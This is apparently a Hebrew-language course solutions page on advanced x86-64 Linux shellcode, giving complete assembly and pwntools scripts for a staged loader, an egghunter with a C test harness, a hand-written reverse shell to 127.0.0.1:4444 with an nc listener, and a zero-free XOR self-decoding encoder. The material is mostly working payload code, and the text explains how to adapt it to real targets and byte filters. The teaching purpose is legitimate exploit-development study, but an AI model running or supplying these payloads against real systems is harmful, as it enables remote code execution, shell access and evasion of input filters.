3.4 shellcode מתקדם פתרון
פתרון - shellcode מתקדם¶
בפתרון נעבור על כל תרגיל עם האסמבלי המלא, קוד ההרכבה, וההוכחה שזה עובד. בסוף כל תרגיל נסביר למה זה עבד ואיך להכליל. כל הקוד רץ מקומית על x86-64.
פתרון תרגיל 1 - stager שקורא ומריץ שלב שני¶
נשתמש ב-stager מבוסס mmap, כי הוא יוצר לעצמו אזור RWX ולכן עובד גם אם המחסנית לא ניתנת להרצה - וזה המקרה תחת run_shellcode. ה-stager יוצר עמוד, קורא אליו את שלב 2 מ-stdin, וקופץ אליו.
from pwn import *
context.arch = 'amd64'
stager = asm('''
push 9
pop rax /* SYS_mmap */
xor edi, edi /* addr = 0 */
push 1
pop rsi
shl rsi, 12 /* length = 0x1000 */
push 7
pop rdx /* prot = RWX */
push 0x22
pop r10 /* MAP_PRIVATE|MAP_ANONYMOUS */
xor r8d, r8d
dec r8 /* fd = -1 */
xor r9d, r9d /* offset = 0 */
syscall /* rax = page */
mov r13, rax
xor edi, edi /* fd = 0 (stdin) */
mov rsi, r13 /* buf = page */
push 1
pop rdx
shl rdx, 12 /* count = 0x1000 */
xor eax, eax /* SYS_read */
syscall
jmp r13 /* run stage-2 */
''')
print(len(stager), 'bytes') # roughly 41 bytes
# stage 2: execve("/bin/sh")
stage2 = asm(shellcraft.amd64.linux.sh())
p = run_shellcode(stager)
p.send(stage2) # the stager reads this into RWX and jumps to it
import time; time.sleep(0.3) # so the read returns before we send commands
p.sendline(b'id')
print(p.recvline()) # uid=... gid=...
p.interactive()
הגרסה המינימלית מהתרגיל (קוראת אל המחסנית וקופצת) עובדת רק כשהמחסנית ניתנת להרצה, למשל בבינארי שקומפל עם -z execstack:
stager_min:
xor edi, edi ; fd = 0
mov rsi, rsp ; buf = the stack
push 1
pop rdx
shl rdx, 12 ; count = 0x1000
xor eax, eax ; SYS_read
syscall
jmp rsi ; jumps to stage 2
היא כ-15 בתים בלבד, אבל אם המחסנית לא מריצה (NX פעיל) הקפיצה אליה תיפול. לכן לבדיקה תחת run_shellcode אנחנו מעדיפים את גרסת ה-mmap.
למה זה עבד: ה-stager הקטן נכנס במקום צר, וכל מה שהוא עושה הוא לקרוא עוד בתים מאותו ערוץ ולקפוץ אליהם. ה-send(stage2) הוא בדיוק ה"שלב השני" שה-read בולע. ה-sleep דרוש כדי שה-read יחזור עם שלב 2 בלבד, לפני שנשלח את id שאמור להגיע ל-shell ולא ל-stager. איך להכליל: על יעד אמיתי, ה-fd של ה-read הוא לרוב ה-fd של הסוקט ולא 0, אבל התבנית זהה: injection קטנה שמושכת payload גדול. זו הדרך הסטנדרטית לעקוף מגבלת מקום בinjection.
פתרון תרגיל 2 - egghunter¶
ה-egghunter סורק את הזיכרון בעזרת access (שלא קורס על עמוד לא חוקי אלא מחזיר EFAULT), ומחפש שני עותקים רצופים של ה-egg 0x90509050. כשמצא, הוא קופץ ל-8 בתים אחרי תחילת ה-egg, אל הpayload האמיתי.
egghunter:
cld
xor rdx, rdx ; current address = 0
next_page:
or dx, 0xfff ; to the end of the page
next_addr:
inc rdx ; one byte forward
lea rdi, [rdx+4] ; address to check
push 21
pop rax ; SYS_access
syscall
cmp al, 0xf2 ; EFAULT?
jz next_page ; invalid page - skip
mov eax, 0x90509050 ; the egg
mov rdi, rdx
scasd ; [rdi] == egg ? rdi += 4
jnz next_addr
scasd ; the second copy
jnz next_addr
jmp rdi ; found - jumps to the payload
מייצרים את הבתים של ה-egghunter ושל הpayload (egg כפול + execve shellcode), ומדפיסים אותם בפורמט מוכן להדבקה ל-C:
from pwn import *
context.arch = 'amd64'
# the same egghunter, as a clean string for asm (without ';' comments that the GAS parser doesn't tolerate)
hunter = asm('''
cld
xor rdx, rdx
next_page:
or dx, 0xfff
next_addr:
inc rdx
lea rdi, [rdx+4]
push 21
pop rax
syscall
cmp al, 0xf2
jz next_page
mov eax, 0x90509050
mov rdi, rdx
scasd
jnz next_addr
scasd
jnz next_addr
jmp rdi
''')
egg = p32(0x90509050) * 2 # \x50\x90\x50\x90 twice
shell = asm(shellcraft.amd64.linux.sh())
payload = egg + shell
cstr = lambda b: ''.join('\\x%02x' % x for x in b)
print('hunter :', cstr(hunter))
print('payload:', cstr(payload))
שימו לב: ההערות בסגנון ; שבתצוגת האסמבלי למעלה נועדו לקריאה בלבד. כשמעבירים אסמבלי ל-asm() של pwntools (שמשתמש ב-GAS בתחביר אינטל), נקודה-פסיק אינה הערה אלא מפריד הוראות, אז מעבירים מחרוזת נקייה או הערות בסגנון /* ... */.
וה-harness ב-C. הוא מטמין את הpayload בכתובת נמוכה קבועה (0x100000) כדי שהסריקה תגיע אליו מהר. שימו לב: ב-x86-64 מרחב הכתובות עצום, וסריקה מ-0 עד הערמה הרגילה איטית מדי, לכן בדמו אנחנו שמים את ה-egg נמוך. על יעד אמיתי נותנים ל-egghunter נקודת התחלה סבירה או מסתמכים על כך שהpayload יושב באזור נגיש.
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char hunter[] = "\xfc\x48\x31\xd2..."; /* paste hunter here */
unsigned char payload[] = "\x50\x90\x50\x90..."; /* paste payload here */
int main(void) {
/* stash the payload at a fixed low address */
void *stash = mmap((void*)0x100000, 0x1000,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
memcpy(stash, payload, sizeof(payload));
/* run the egghunter from an RWX page */
void *page = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(page, hunter, sizeof(hunter));
((void (*)(void))page)();
return 0;
}
למה זה עבד: ה-access מדלג במהירות על כל העמודים הלא ממופים בין 0 ל-0x100000 (קריאת מערכת אחת לכל עמוד), ומגיע לעמוד שהטמנו בו את הpayload. שם scasd כפול מוודא שמצאנו את ה-egg האמיתי ולא התאמה מקרית - ולכן גם ה-mov eax, 0x90509050 שבתוך ה-egghunter עצמו לא מבלבל אותו, כי הוא עותק בודד ולא כפול. איך להכליל: egghunter חסין ל-ASLR לגמרי, כי אנחנו סורקים ולא מנחשים כתובת. זו הטכניקה כשיש מקום גדול לpayload אבל אין דרך לדעת את כתובתו.
פתרון תרגיל 3 - reverse shell¶
הרצף המלא: פותחים סוקט, מתחברים ל-127.0.0.1:4444, מפנים אליו את שלושת ה-fd הסטנדרטיים, ומריצים /bin/sh.
_start:
; sockfd = socket(AF_INET, SOCK_STREAM, 0)
push 41
pop rax ; SYS_socket
push 2
pop rdi ; AF_INET
push 1
pop rsi ; SOCK_STREAM
xor edx, edx
syscall
mov rdi, rax ; rdi = sockfd
; connect(sockfd, &sockaddr, 16)
xor eax, eax
push rax ; sin_zero
mov rax, 0x0100007f5c110002 ; family=2, port=4444, ip=127.0.0.1
push rax
mov rsi, rsp
push 16
pop rdx
push 42
pop rax ; SYS_connect
syscall
; dup2(sockfd, 2/1/0)
push 2
pop rsi
dup_loop:
push 33
pop rax ; SYS_dup2
syscall
dec rsi
jns dup_loop
; execve("/bin//sh", 0, 0)
xor edx, edx
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor esi, esi
push 59
pop rax ; SYS_execve
syscall
הרכבה והרצה. בטרמינל אחד מאזינים, בשני מריצים:
from pwn import *
context.arch = 'amd64'
# the same code as a clean string for asm (the comments above are just for display)
sc = asm('''
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
xor edx, edx
syscall
mov rdi, rax
xor eax, eax
push rax
mov rax, 0x0100007f5c110002
push rax
mov rsi, rsp
push 16
pop rdx
push 42
pop rax
syscall
push 2
pop rsi
dup_loop:
push 33
pop rax
syscall
dec rsi
jns dup_loop
xor edx, edx
push rdx
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
xor esi, esi
push 59
pop rax
syscall
''')
print(len(sc), 'bytes') # roughly 74 bytes
run_shellcode(sc).interactive()
# terminal 1
nc -lvnp 4444
# terminal 2
python3 revshell.py
# back to terminal 1 - we got a shell:
# id
# uid=1000(user) ...
אפשר גם לייצר את אותו הדבר עם shellcraft בלי לכתוב ידנית, וזה שימושי לבדיקה מול הגרסה שלכם:
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
shellcraft.amd64.linux.dupsh('rbp'))
print(disasm(sc))
למה זה עבד: שמרנו את ה-sockfd ב-rdi מיד אחרי socket, כי גם connect וגם dup2 צריכים אותו שם. את sockaddr_in בנינו על המחסנית - קודם 8 בתי האפס של sin_zero, ואז ה-qword 0x0100007f5c110002 שמקודד family+port+ip בסדר הנכון. לולאת ה-dup2 עם dec rsi; jns רצה בדיוק עבור 2,1,0 ועוצרת על -1, ומפנה את כל שלושת ה-fd לסוקט. איך להכליל: זה שלד קבוע לכל reverse shell - רק ה-IP והפורט משתנים. שימו לב שיש בו בתי אפס (ב-immediate של ה-sockaddr וב-"/bin//sh"), אז מול וקטור רגיש לאפסים תצטרכו לקודד אותו, וזה בדיוק מה שנעשה בתרגיל הבא.
פתרון תרגיל 4 (אתגר) - מפענח XOR שמשנה את עצמו¶
לוקחים את בתי ה-reverse shell, מחפשים מפתח XOR שלא מייצר אף בית אפס בpayload המקודד, ועוטפים במפענח jmp/call/pop שמשחזר את הקוד במקום וקופץ אליו.
from pwn import *
context.arch = 'amd64'
# the real payload - reverse shell (or any shellcode)
stage2 = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
shellcraft.amd64.linux.dupsh('rbp'))
# find a key whose encoding is free of zero bytes
for key in range(1, 256):
encoded = bytes(b ^ key for b in stage2)
if b'\x00' not in encoded:
break
log.info('key=0x%02x, len=%d', key, len(encoded))
# decoder: pop the address of the encoded payload, XOR each byte in place, then jmp to it
stub = asm(f'''
jmp call_enc
decode:
pop rsi
mov rdi, rsi /* save the start */
xor ecx, ecx
mov cl, {len(encoded)}
loop_dec:
xor byte ptr [rsi], {key}
inc rsi
dec cl
jnz loop_dec
jmp rdi /* jumps to the decoded code */
call_enc:
call decode /* pushes the address of the encoded data that follows */
''')
blob = stub + encoded
print(len(blob), 'bytes total')
assert b'\x00' not in blob, 'a zero byte remains!'
run_shellcode(blob).interactive()
הטריק הוא ש-call decode דוחף למחסנית את כתובת הבתים שמיד אחריו (הpayload המקודד). בתוך decode שולפים אותה ל-rsi, שומרים עותק ב-rdi, מפענחים בלולאה כל בית עם ה-XOR, ואז jmp rdi קופץ לקוד שכבר פוענח. שמים לב שהpayload המקודד מצורף כבתים גולמיים אחרי ה-stub המורכב, ולא כהוראות אסמבלי - כי הם לא קוד חוקי עד שמפענחים אותם.
בטרמינל נפרד מאזינים עם nc -lvnp 4444, מריצים את הסקריפט, ומקבלים את ה-shell המפוענח.
למה זה עבד: מצאנו מפתח XOR שהופך את הpayload ל"נקי" (בלי אפסים), והמפענח עצמו כתוב בהוראות שגם הן נקיות. תבנית ה-jmp/call/pop נותנת את כתובת הpayload בלי כתובת מוחלטת, כך שהכל עצמאי במיקום. הכתיבה על הקוד עצמו (xor byte ptr [rsi]) עובדת כי הטוען מקצה עמוד RWX. איך להכליל: זו הבסיס לכל encoder אמיתי (למשל shikata ga nai של metasploit) - decoder קטן שעומד בהגבלות, ו-payload מקודד שמשוחזר בזמן ריצה. מול הגבלה קשה יותר (תווים מודפסים או אלפאנומריים בלבד, פרק 3.3) המפענח עצמו נכתב בתת-קבוצת ההוראות המותרת, אבל הרעיון זהה. וזכרו: על יעד W^X היינו מפענחים לאזור RWX נפרד במקום על עצמנו.